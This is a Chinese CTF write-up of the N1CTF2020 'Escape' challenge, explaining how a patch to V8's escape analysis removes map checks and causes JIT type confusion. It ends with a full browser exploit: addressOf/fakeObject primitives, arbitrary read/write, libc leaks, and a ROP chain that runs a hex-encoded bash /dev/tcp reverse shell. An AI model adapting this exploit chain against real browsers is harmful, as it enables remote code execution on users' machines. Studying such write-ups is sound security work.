V8逃逸分析(escape-analysis)——N1CTF2020 Escape

阅读量    170031 | 评论 1

分享到: QQ空间 新浪微博 微信 QQ facebook twitter

 

0x00 前言

通过N1CTF2020 Escape一题学习V8的逃逸分析机制。

 

0x01 前置知识

逃逸分析

概念

逃逸分析(escape-analysis)就是JIT阶段用来分析对象的作用域的一种机制,分析对象的作用域是为了更好的优化代码,生成高效率的JIT代码。
如下的代码中,对象a发生了逃逸,因为a是在函数中创建的对象,通过return返回给外部使用。

function func() {
    var a = [];
    return a;
}
func();

如下的代码也同样发生逃逸

var a;
function func() {
    a = [];
}
func();

逃逸的对象不会在函数执行完毕不会被收回,因此JIT对此类对象不做优化。

优化未逃逸的对象

如果对象未发生逃逸,JIT会将其优化为局部变量的形式,如下的代码中,v未发生逃逸

function func(a) {
   let v = {x:a,y:a};
   return v.x+v.y;
}

那么该函数会被优化为

function func(a) {
   return a+a;
}

从中可用看出,逃逸分析可以优化那些未逃逸的对象,去掉不必要的对象申请,使得代码更加高效。

构造一个逃逸

如下,将另一个函数作为一个参数,并在当前这个函数里调用另一个函数,JIT将无法在编译时确定foo会做什么,由此,o会发生逃逸

function (foo) {
    let o = {};
    foo(o);
}

JIT逃逸分析如何确定变量类型

In a CFG: One map per basic block, updated imperatively when traversing the
block

  • In an unscheduled graph: One map per effectful node.
    This is expensive! Solution: A purely functional map:
  • Copy: O(1)
  • Update/Access: O(log n)
    This can be achieved with any tree-based map datastructure.
    We chose a hash-tree.

Escape Analysis in V8文献中可以看出,在逃逸分析时,使用树结构来保存各个节点的checkmap,这样进行复制时,只需要O(1)的时间,进行状态更新和访问时,只需要O(log n)的时间。checkmap决定了这个节点生成的JIT该以什么方式去操作对象。如果checkmap缺失,将导致生成的JIT代码有问题,发生类型混淆。

 

0x02 漏洞分析

patch分析

diff --git a/src/compiler/escape-analysis.cc b/src/compiler/escape-analysis.cc
index 2a096b6933..3046d7b04e 100644
--- a/src/compiler/escape-analysis.cc
+++ b/src/compiler/escape-analysis.cc
@@ -178,7 +178,7 @@ class EscapeAnalysisTracker : public ZoneObject {
         : VariableTracker::Scope(&tracker->variable_states_, node, reduction),
           tracker_(tracker),
           reducer_(reducer) {}
-    const VirtualObject* GetVirtualObject(Node* node) {
+    VirtualObject* GetVirtualObject(Node* node) {
       VirtualObject* vobject = tracker_->virtual_objects_.Get(node);
       if (vobject) vobject->AddDependency(current_node());
       return vobject;
@@ -576,10 +576,14 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
     case IrOpcode::kStoreField: {
       Node* object = current->ValueInput(0);
       Node* value = current->ValueInput(1);
-      const VirtualObject* vobject = current->GetVirtualObject(object);
+      VirtualObject* vobject = current->GetVirtualObject(object);
       Variable var;
       if (vobject && !vobject->HasEscaped() &&
           vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {
+        // Attach cached map info to the virtual object.
+        if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) {
+          vobject->SetMap(value);
+        }
         current->Set(var, value);
         current->MarkForDeletion();
       } else {
@@ -747,6 +751,17 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
           // yet.
           break;
         }
+      } else if (vobject) {
+        Node* cache_map = vobject->Map();
+        if (cache_map) {
+          Type const map_type = NodeProperties::GetType(cache_map);
+          if (map_type.IsHeapConstant() &&
+              params.maps().contains(
+                  map_type.AsHeapConstant()->Ref().AsMap().object())) {
+            current->MarkForDeletion();
+            break;
+          }
+        }
       }
       current->SetEscaped(checked);
       break;
@@ -804,6 +819,12 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
       for (int i = 0; i < value_input_count; ++i) {
         Node* input = current->ValueInput(i);
         current->SetEscaped(input);
+
+        // Invalidate associated map cache for all value input nodes.
+        VirtualObject* vobject = current->GetVirtualObject(input);
+        if (vobject) {
+          vobject->SetMap(nullptr);
+        }
       }
       if (OperatorProperties::HasContextInput(op)) {
         current->SetEscaped(current->ContextInput());
diff --git a/src/compiler/escape-analysis.h b/src/compiler/escape-analysis.h
index 0fbc7d0bdd..ec56488388 100644
--- a/src/compiler/escape-analysis.h
+++ b/src/compiler/escape-analysis.h
@@ -147,11 +147,14 @@ class VirtualObject : public Dependable {
   bool HasEscaped() const { return escaped_; }
   const_iterator begin() const { return fields_.begin(); }
   const_iterator end() const { return fields_.end(); }
+  Node* Map() const { return map_; }
+  void SetMap(Node* map) { map_ = map; }

  private:
   bool escaped_ = false;
   Id id_;
   ZoneVector<Variable> fields_;
+  Node* map_;
 };

 class EscapeAnalysisResult {

从中可用看出,patch文件在VirtualObject类中增加了几个变量和函数,并在一些位置进行调用,利用git apply patch.diff将patch文件应用,然后我们分析完整的escape-analysis.cc文件,在ReduceNode函数中的IrOpcode::kStoreField分支时

    case IrOpcode::kStoreField: {
      Node* object = current->ValueInput(0);
      Node* value = current->ValueInput(1);
      VirtualObject* vobject = current->GetVirtualObject(object);
      Variable var;
      //如果对象没有逃逸
      if (vobject && !vobject->HasEscaped() &&
          vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {
        // Attach cached map info to the virtual object.
        if (OffsetOfFieldAccess(op) == HeapObject::kMapOffset) {
          vobject->SetMap(value); //拷贝一份map值
        }
        current->Set(var, value); //将对象里面保存的值赋给一个变量
        current->MarkForDeletion(); //标记法将该节点删除
      } else {
        current->SetEscaped(object);
        current->SetEscaped(value);
      }
      break;
    }

上面的代码可以体现出逃逸分析中的变量替换思想,即对没有逃逸的对象进行优化。
接下来继续看IrOpcode::kCheckMaps分支补丁上去的代码

    case IrOpcode::kCheckMaps: {
      CheckMapsParameters params = CheckMapsParametersOf(op);
      Node* checked = current->ValueInput(0);
      const VirtualObject* vobject = current->GetVirtualObject(checked);
      Variable map_field;
      Node* map;
      if (vobject && !vobject->HasEscaped() &&
          vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) &&
          current->Get(map_field).To(&map)) { //未逃逸
        if (map) {
          Type const map_type = NodeProperties::GetType(map);
          if (map_type.IsHeapConstant() &&
              params.maps().contains(
                  map_type.AsHeapConstant()->Ref().AsMap().object())) {
            current->MarkForDeletion();
            break;
          }
        } else {
          // If the variable has no value, we have not reached the fixed-point
          // yet.
          break;
        }
       //这里是patch上的代码
      } else if (vobject) { //逃逸状态
        Node* cache_map = vobject->Map();
        if (cache_map) { //如果该对象存在map的副本
          Type const map_type = NodeProperties::GetType(cache_map);
          if (map_type.IsHeapConstant() &&
              params.maps().contains(
                  map_type.AsHeapConstant()->Ref().AsMap().object())) {
            current->MarkForDeletion(); //将这个checkmap标记为删除状态
            break;
          }
        }
      }
      current->SetEscaped(checked);
      break;
    }

前面我们介绍过,所有节点的checkmap保存在一棵树上,因此为了方便进行删除,这里用的是MarkForDeletion(),只需要O(1)的时间即可将当前这个节点的checkmap标记为删除。checkmap被删除的话,那么JIT在处理这个节点时将无法知道其当前的类型,由此会造成类型混淆(Type Confusion)
再来看打到default分支上的补丁

    default: {
      // For unknown nodes, treat all value inputs as escaping.
      int value_input_count = op->ValueInputCount();
      for (int i = 0; i < value_input_count; ++i) {
        Node* input = current->ValueInput(i);
        current->SetEscaped(input);

        // 将该节点的map_设置为null
        VirtualObject* vobject = current->GetVirtualObject(input);
        if (vobject) {
          vobject->SetMap(nullptr);
        }
      }
      if (OperatorProperties::HasContextInput(op)) {
        current->SetEscaped(current->ContextInput());
      }
      break;
    }

可以看出这里又清除了map_变量的值

POC构造与分析

首先得让vobject->_map这个变量被赋值,那么就是发生在没有逃逸的时候,会进入分支

if (vobject && !vobject->HasEscaped() &&
          vobject->FieldAt(OffsetOfFieldAccess(op)).To(&var)) {

然后得让变量进入逃逸状态,这样当进入case IrOpcode::kCheckMaps:时能够进入else if (vobject) { //逃逸状态}分支,但要执行到current->MarkForDeletion();语句,还得保证Node* cache_map = vobject->Map();不为空。
首先构造如下的代码

function opt(foo) {
   var a = [1.1]; //未逃逸
   foo(a); //逃逸
   return a[0];
}
//触发JIT编译
for (var i=0;i<0x20000;i++) {
   opt((o)=>{});
}
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型

运行后发现不能像我们预期的那样发生类型混淆,通过gdb调试看一下,在三个patch点下断点

 b escape-analysis.cc:585
 b escape-analysis.cc:738
 b escape-analysis.cc:826

通过调试发现仅能在585这一个分支断下,添加-print-opt-code选项可以看到整个代码都被JIT优化了

这样的话JIT编译器可以确定foo做了什么,我们的opt函数就会退化为

function opt(foo) {
   var a = [1.1]; 
   return a[0];
}

因此我们得仅让opt这一个函数被优化,由此应该这样

function opt(foo) {
   //触发JIT编译
   for (var i=0;i<0x20000;i++) {
   }
   var a = [1.1]; //未逃逸
   foo(a); //逃逸
   return a[0];
}
opt((o)=>{});
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型

这样运行,会发现opt的JIT生成了两次,也就是说print(opt((o)=>{o[0] = x;}));这句的opt调用并没有匹配到之前opt生成的JIT代码,查看第一次生成的JIT代码(关键部分)

0x131a00084fa9    e9  49ba009784e7ad7f0000 REX.W movq r10,0x7fade7849700  (CreateShallowArrayLiteral)    ;; off heap target
0x131a00084fb3    f3  41ffd2         call r10
0x131a00084fb6    f6  49c7c504000000 REX.W movq r13,0x4
0x131a00084fbd    fd  e87ef00b00     call 0x131a00144040     ;; deopt-soft deoptimization bailout

查看第二次JIT生成的关键代码

   f8  488945b8       REX.W movq [rbp-0x48],rax
0x131a000851dc    fc  4c8b4518       REX.W movq r8,[rbp+0x18]
0x131a000851e0   100  48bf6d8c14081a130000 REX.W movq rdi,0x131a08148c6d    ;; object: 0x131a08148c6d <JSFunction (sfi = 0x131a082d269d)>
0x131a000851ea   10a  443bc7         cmpl r8,rdi
0x131a000851ed   10d  0f85db010000   jnz 0x131a000853ce  <+0x2ee>

可以看出,第一次并没有匹配参数,而是直接deopt-soft deoptimization bailout,而第二次有匹配参数,判断函数地址是否为指定值,因此,我们再增加几个opt调用看看有什么变化。

function opt(foo) {
   //触发JIT编译
   for (var i=0;i<0x20000;i++) {
   }
   var a = [1.1]; //未逃逸
   foo(a); //逃逸
   return a[0];
}
opt((o)=>{});
opt((o)=>{});
opt((o)=>{});
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型

我们看到,最后一个标号为2,也就是总共生成了opt函数的3份JIT代码,而我们的js里有4个opt函数调用,也就是说,最后的print(opt((o)=>{o[0] = x;}));成功匹配了JIT代码。
我们查看最后一份的JIT代码

0x2a000854c0     0  488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]
0x2a000854c7     7  483bd9         REX.W cmpq rbx,rcx
0x2a000854ca     a  7418           jz 0x2a000854e4  <+0x24>
0x2a000854cc     c  48ba6a00000000000000 REX.W movq rdx,0x6a
0x2a000854d6    16  49ba20371523787f0000 REX.W movq r10,0x7f7823153720  (Abort)    ;; off heap target
0x2a000854e0    20  41ffd2         call r10
0x2a000854e3    23  cc             int3l
0x2a000854e4    24  8b59d0         movl rbx,[rcx-0x30]
0x2a000854e7    27  4903dd         REX.W addq rbx,r13
0x2a000854ea    2a  f6430701       testb [rbx+0x7],0x1
0x2a000854ee    2e  740d           jz 0x2a000854fd  <+0x3d>
0x2a000854f0    30  49ba20600523787f0000 REX.W movq r10,0x7f7823056020  (CompileLazyDeoptimizedCode)    ;; off heap target
0x2a000854fa    3a  41ffe2         jmp r10
0x2a000854fd    3d  55             push rbp
0x2a000854fe    3e  4889e5         REX.W movq rbp,rsp
0x2a00085501    41  56             push rsi
0x2a00085502    42  57             push rdi
0x2a00085503    43  50             push rax
0x2a00085504    44  4883ec10       REX.W subq rsp,0x10
0x2a00085508    48  488975e0       REX.W movq [rbp-0x20],rsi
0x2a0008550c    4c  493b6548       REX.W cmpq rsp,[r13+0x48] (external value (StackGuard::address_of_jslimit()))
0x2a00085510    50  0f86c5010000   jna 0x2a000856db  <+0x21b>
0x2a00085516    56  493b6548       REX.W cmpq rsp,[r13+0x48] (external value (StackGuard::address_of_jslimit()))
0x2a0008551a    5a  0f86f4010000   jna 0x2a00085714  <+0x254>
0x2a00085520    60  b901000000     movl rcx,0x1
0x2a00085525    65  660f1f840000000000 nop
0x2a0008552e    6e  6690           nop
0x2a00085530    70  81f900000200   cmpl rcx,0x20000
0x2a00085536    76  0f8332000000   jnc 0x2a0008556e  <+0xae>
0x2a0008553c    7c  83c101         addl rcx,0x1
0x2a0008553f    7f  49ba0000000001000000 REX.W movq r10,0x100000000
0x2a00085549    89  4c3bd1         REX.W cmpq r10,rcx
0x2a0008554c    8c  7715           ja 0x2a00085563  <+0xa3>
0x2a0008554e    8e  48ba0200000000000000 REX.W movq rdx,0x2
0x2a00085558    98  4c8b1579ffffff REX.W movq r10,[rip+0xffffff79]
0x2a0008555f    9f  41ffd2         call r10
0x2a00085562    a2  cc             int3l
0x2a00085563    a3  493b6548       REX.W cmpq rsp,[r13+0x48] (external value (StackGuard::address_of_jslimit()))
0x2a00085567    a7  77c7           ja 0x2a00085530  <+0x70>
0x2a00085569    a9  e9cb010000     jmp 0x2a00085739  <+0x279>
0x2a0008556e    ae  48b9f8c6112c25560000 REX.W movq rcx,0x56252c11c6f8    ;; external reference (Heap::NewSpaceAllocationTopAddress())
0x2a00085578    b8  4c8b01         REX.W movq r8,[rcx]
0x2a0008557b    bb  4d8d4820       REX.W leaq r9,[r8+0x20]
0x2a0008557f    bf  49bb00c7112c25560000 REX.W movq r11,0x56252c11c700    ;; external reference (Heap::NewSpaceAllocationLimitAddress())
.................................................................

可以看到,最后一份JIT代码中,已经不再对参数进行匹配了,也就是说,即使我们记下来继续调用opt(),参数无论为什么,都会匹配到,我们测试一下

function opt(foo) {
   //触发JIT编译
   for (var i=0;i<0x20000;i++) {
   }
   var a = [1.1]; //未逃逸
   foo(a); //逃逸
   return a[0];
}
opt((o)=>{});
opt((o)=>{});
opt((o)=>{});
x = Array(0);
//print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型
opt(1);
opt({});

可以看到也只生成了3份JIT代码,最后两句的调用都直接走opt的JIT成功了。

于是,我们的代码可以用for循环来精简一下

function opt(foo) {
   //触发JIT编译
   for (var i=0;i<0x20000;i++) {
   }
   var a = [1.1]; //未逃逸
   foo(a); //逃逸
   return a[0];
}
//生成多个JIT模板
for (var i=0;i<0x10;i++) {
   opt((o)=>{});
}
x = Array(0);
print(opt((o)=>{o[0] = x;})); //在外部函数里改变类型

运行后,发现仍然不能发生类型混淆,继续调试
先是(v8::internal::compiler::VirtualObject *) 0x5643165e5410设置了map_

然后(v8::internal::compiler::VirtualObject *) 0x5643165e5770设置了map_

接下来发现(v8::internal::compiler::VirtualObject *) 0x5643165e5770map_值被清空

接下来到这里,这个分支是当检测到对象逃逸时才会到达,由于前一步把这个vobjectmap_给清空了,导致条件不成立,无法执行到current->MarkForDeletion();

上述POC失败的原因是因为在case IrOpcode::kCheckMaps:之前先进入了defaultmap_值给清空了,我们可以再对象里再裹一层对象试试。

function opt(foo) {
   //触发JIT编译
   for (var i=0;i<0x20000;i++) {
   }
   var a = [1.1]; //未逃逸
   var b = [a]; //未逃逸
   foo(b); //逃逸
   return a[0];
}
//生成多个JIT模板
for (var i=0;i<0x10;i++) {
   opt((o)=>{});
}
x = Array(0);
print(opt((o)=>{o[0][0] = x;})); //在外部函数里改变类型

接下来我们重新调试,我们发现(const v8::internal::compiler::VirtualObject *) 0x558f95f216c0这个节点的checkmaps被删除了,因此将造成类型混淆

继续运行,发现输出了对象的地址,发生了类型混淆

pwndbg> p vobject
$16 = (const v8::internal::compiler::VirtualObject *) 0x558f95f216c0
pwndbg> c
Continuing.
4.765298071534956e-270
[Thread 0x7f202c139700 (LWP 2742) exited]
[Thread 0x7f202c93a700 (LWP 2741) exited]
[Thread 0x7f202d13b700 (LWP 2740) exited]
[Inferior 1 (process 2739) exited normally]
pwndbg>

如下是有漏洞的JIT代码

0x2343000857c8   1a8  488b7d18       REX.W movq rdi,[rbp+0x18]
0x2343000857cc   1ac  b801000000     movl rax,0x1
0x2343000857d1   1b1  49bae0bfb6d9a77f0000 REX.W movq r10,0x7fa7d9b6bfe0  (Call_ReceiverIsNullOrUndefined)    ;; off heap target
0x2343000857db   1bb  41ffd2         call r10 ;调用外部函数
0x2343000857de   1be  488b4dd8       REX.W movq rcx,[rbp-0x28]
0x2343000857e2   1c2  448b4107       movl r8,[rcx+0x7] ;以DOUBLE_ELEMENTS的方式取数据
0x2343000857e6   1c6  4d03c5         REX.W addq r8,r13
0x2343000857e9   1c9  448b490b       movl r9,[rcx+0xb]
0x2343000857ed   1cd  41d1f9         sarl r9, 1
0x2343000857f0   1d0  4183f900       cmpl r9,0x0
0x2343000857f4   1d4  0f869a010000   jna 0x234300085994  <+0x374>
0x2343000857fa   1da  c4c17b104007   vmovsd xmm0,[r8+0x7]
0x234300085800   1e0  c5fb2cc8       vcvttsd2si rcx,xmm0
0x234300085804   1e4  c5832ac9       vcvtlsi2sd xmm1,xmm15,rcx
0x234300085808   1e8  c5f92ec8       vucomisd xmm1,xmm0
0x23430008580c   1ec  0f8a39000000   jpe 0x23430008584b  <+0x22b>
0x234300085812   1f2  0f8533000000   jnz 0x23430008584b  <+0x22b>
0x234300085818   1f8  83f900         cmpl rcx,0x0
0x23430008581b   1fb  0f8428010000   jz 0x234300085949  <+0x329>

如下是无漏洞的JIT代码

0x286d000857b0   1b0  49ba405e010f7e7f0000 REX.W movq r10,0x7f7e0f015e40  (Call_ReceiverIsNullOrUndefined)    ;; off heap target
0x286d000857ba   1ba  41ffd2         call r10
0x286d000857bd   1bd  488b4dd8       REX.W movq rcx,[rbp-0x28]
0x286d000857c1   1c1  41b8fd383008   movl r8,0x83038fd       ;; (compressed) object: 0x286d083038fd <Map(PACKED_DOUBLE_ELEMENTS)>
0x286d000857c7   1c7  443941ff       cmpl [rcx-0x1],r8
0x286d000857cb   1cb  0f859e010000   jnz 0x286d0008596f  <+0x36f>
0x286d000857d1   1d1  448b4107       movl r8,[rcx+0x7]
0x286d000857d5   1d5  4d03c5         REX.W addq r8,r13
0x286d000857d8   1d8  448b490b       movl r9,[rcx+0xb]
0x286d000857dc   1dc  41d1f9         sarl r9, 1
0x286d000857df   1df  4183f900       cmpl r9,0x0
0x286d000857e3   1e3  0f8692010000   jna 0x286d0008597b  <+0x37b>
0x286d000857e9   1e9  c4c17b104007   vmovsd xmm0,[r8+0x7]
0x286d000857ef   1ef  c5fb2cc8       vcvttsd2si rcx,xmm0
0x286d000857f3   1f3  c5832ac9       vcvtlsi2sd xmm1,xmm15,rcx
0x286d000857f7   1f7  c5f92ec8       vucomisd xmm1,xmm0
0x286d000857fb   1fb  0f8a25000000   jpe 0x286d00085826  <+0x226>
0x286d00085801   201  0f851f000000   jnz 0x286d00085826  <+0x226>
0x286d00085807   207  83f900         cmpl rcx,0x0
0x286d0008580a   20a  0f8414010000   jz 0x286d00085924  <+0x324>

可以发现,由于逃逸分析时把checkmaps删除了,使得生成的JIT代码里调用完函数后少了如下的检查代码,由此发生类型混淆

0x286d000857bd   1bd  488b4dd8       REX.W movq rcx,[rbp-0x28]
0x286d000857c1   1c1  41b8fd383008   movl r8,0x83038fd       ;; (compressed) object: 0x286d083038fd <Map(PACKED_DOUBLE_ELEMENTS)>
0x286d000857c7   1c7  443941ff       cmpl [rcx-0x1],r8
0x286d000857cb   1cb  0f859e010000   jnz 0x286d0008596f  <+0x36f>

 

0x03 漏洞利用

利用类型混淆,构造addressOf和fakeObj原语,然后利用两个原语伪造一个ArrayBuffer,实现任意地址读写。然后可以创建一个div对象,利用任意地址读写篡改其虚表,然后执行对应的操作劫持程序流

<!DOCTYPE html>
<html>
  <body>
    <script>
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
   dv.setUint32(0,value1,true);
   dv.setUint32(0x4,value2,true);
   return dv.getFloat64(0,true);
}

function i2f64(value) {
   dv.setBigUint64(0,BigInt(value),true);
   return dv.getFloat64(0,true);
}

function u64f(value) {
   dv.setFloat64(0,value,true);
   return dv.getBigUint64(0,true);
}

function u32f(value) {
   dv.setFloat64(0,value,true);
   return dv.getUint32(0,true);
}

function i2f(value) {
   dv.setUint32(0,value,true);
   return dv.getFloat32(0,true);
}

//
function opt0(o) {
   for(var i = 0; i < 200000; i++) { }
   let a = [1.1,2.2,3.3,4.4];
   let b = [a];
   o(b);
   return a[0];
}


for (var i=0;i<10;i++) {
   opt0((o)=>{});
}


var spary_size = 0x201;
var spary = new Array(spary_size);
for (var i=0;i<spary_size;i+=3) {
   spary[i] = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11,12.12,13.13,14.14,15.15);
   spary[i+1] = new ArrayBuffer(0x2000);
   spary[i+2] = new Float64Array(0x5);
}

function addressOf(obj) {
   var addr = opt0((o)=>{o[0][0] = obj;});
   return u32f(addr) - 1;
}

function fakeObject(addr) {
   var fval = i2f64(addr + 1);
   let f = eval(`(x,y,val)=>{
     for(var i = 0; i < 200000; i++) { }
     let a = [1.1,2.2,3.3,4.4];
     let b = [a];
     x(b);
     a[0] = val;
     return y(b);
   }`);
   for (var i=0;i<10;i++) {
      f((o)=>{},(o)=>{},fval);
   }
   return f((o)=>{o[0][0] = {};},(o)=>{return o[0][0];},fval);
}

let arr = spary[spary_size-0x3];
let arr_address = addressOf(arr);
let proto_addr = addressOf(Array.prototype);

//fake a FixedDoubleArray Map
arr[0] = p64f(0x08042115,0x18040404);
arr[1] = p64f(0x29000423,0x0a0007ff);
arr[2] = p64f(proto_addr+1,0);
//alert(arr_address.toString(16));

let element_addr = arr_address + 0x14;
let fake_element = element_addr+0x44;

//fake a FixedDoubleArray
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[5] = p64f(0x08042229,fake_element+1);
arr[6] = p64f(0x7ffffffe,0);

//fake a FixedDoubleArray's element
arr[7] = p64f(0,0x08042ab1);
arr[8] = p64f(0x7ffffffe,0);


var arb_fixeddouble_arr = fakeObject(element_addr + 0x2c);

//leak backing store
backing_store_addr = u64f(arb_fixeddouble_arr[0x9]);
heap_t_addr = u64f(arb_fixeddouble_arr[0xa])
//alert(backing_store_addr.toString(16));
//alert(heap_t_addr.toString(16));
//leak compression ptr high byte
compression_high_bytes = u32f(arb_fixeddouble_arr[0x20]);
//alert(compression_high_bytes.toString(16));

function addressOf_full(obj) {
   var addr = addressOf(obj);
   return (BigInt(compression_high_bytes) << 32n) + BigInt(addr);
}



arr = spary[spary_size-0x6];
arr_address = addressOf(arr);
proto_addr = addressOf(ArrayBuffer.prototype);

//fake a ArrayBuffer Map
arr[0] = p64f(0x08042115,0x140e0e0e);
arr[1] = p64f(0x19000424,0x084003ff);
arr[2] = p64f(proto_addr+1,0);

element_addr = arr_address + 0x14;
fake_element = element_addr+0x44;

//fake a ArrayBuffer
arr[4] = p64f(0,element_addr+0x8+0x1);
arr[5] = p64f(0x08042229,0x08042229);
arr[6] = p64f(0xffffffff,0);
arr[7] = p64f(0,0);
arr[9] = p64f(0,2);
var arb_arraybuffer = fakeObject(element_addr + 0x2c);
var adv = new DataView(arb_arraybuffer);

function read64(addr) {
   arr[7] = i2f64(addr);
   return adv.getBigUint64(0,true);
}

function write64(addr,value) {
   arr[7] = i2f64(addr);
   adv.setBigUint64(0,BigInt(value),true);
}

var tmp = read64(heap_t_addr + 0x10n);
var elf_base = read64(tmp) - 0xa76f5c0n;
xchg_rax_rsp = elf_base + 0x872BD7En;
pop_rdi = elf_base + 0xA63BE3Bn;
libc_start_main_got = elf_base + 0x000000000ACA7348n;
var libc_base = read64(libc_start_main_got) - 0x21ab0n;
var system_addr = libc_base + 0x4f4e0n;
//alert("libc_base=" + libc_base.toString(16));
//
let div = document.createElement("div");
let div_addr = addressOf_full(div);
let divobj_addr = read64(div_addr + 20n);

//rop chain
write64(backing_store_addr+0x1000n+0x50n,xchg_rax_rsp);
write64(backing_store_addr+0x1000n,pop_rdi);
write64(backing_store_addr+0x1000n+0x8n,backing_store_addr+0x1000n+0x100n);
write64(backing_store_addr+0x1000n+0x10n,system_addr);

//cmd
write64(backing_store_addr+0x1000n+0x100n,0x7361622F6E69622Fn);
write64(backing_store_addr+0x1000n+0x108n,0x20263E20692D2068n);
write64(backing_store_addr+0x1000n+0x110n,0x7063742F7665642Fn);
write64(backing_store_addr+0x1000n+0x118n,0x302E302E3732312Fn);
write64(backing_store_addr+0x1000n+0x120n,0x20363636362F312En);
write64(backing_store_addr+0x1000n+0x128n,0x31263E30n);


//fake vtable ptr
write64(divobj_addr,backing_store_addr+0x1000n);
//alert("div_addr="+div_addr.toString(16));
div.dispatchEvent(new Event('click'));

    </script>
  </body>
</html>

 

0x04 感想

在写这篇文章的过程中,某些疑难点无形中理解了,以后得坚持写文章记录过程。

 

0x05 参考

JVM之逃逸分析
深入理解Java中的逃逸分析
[JVM] 逃逸分析(Escape Analysis)
Escape Analysis in V8
Pwn2Win OmniTmizer

分享到: QQ空间 新浪微博 微信 QQ facebook twitter
|推荐阅读
|发表评论
|评论列表
加载更多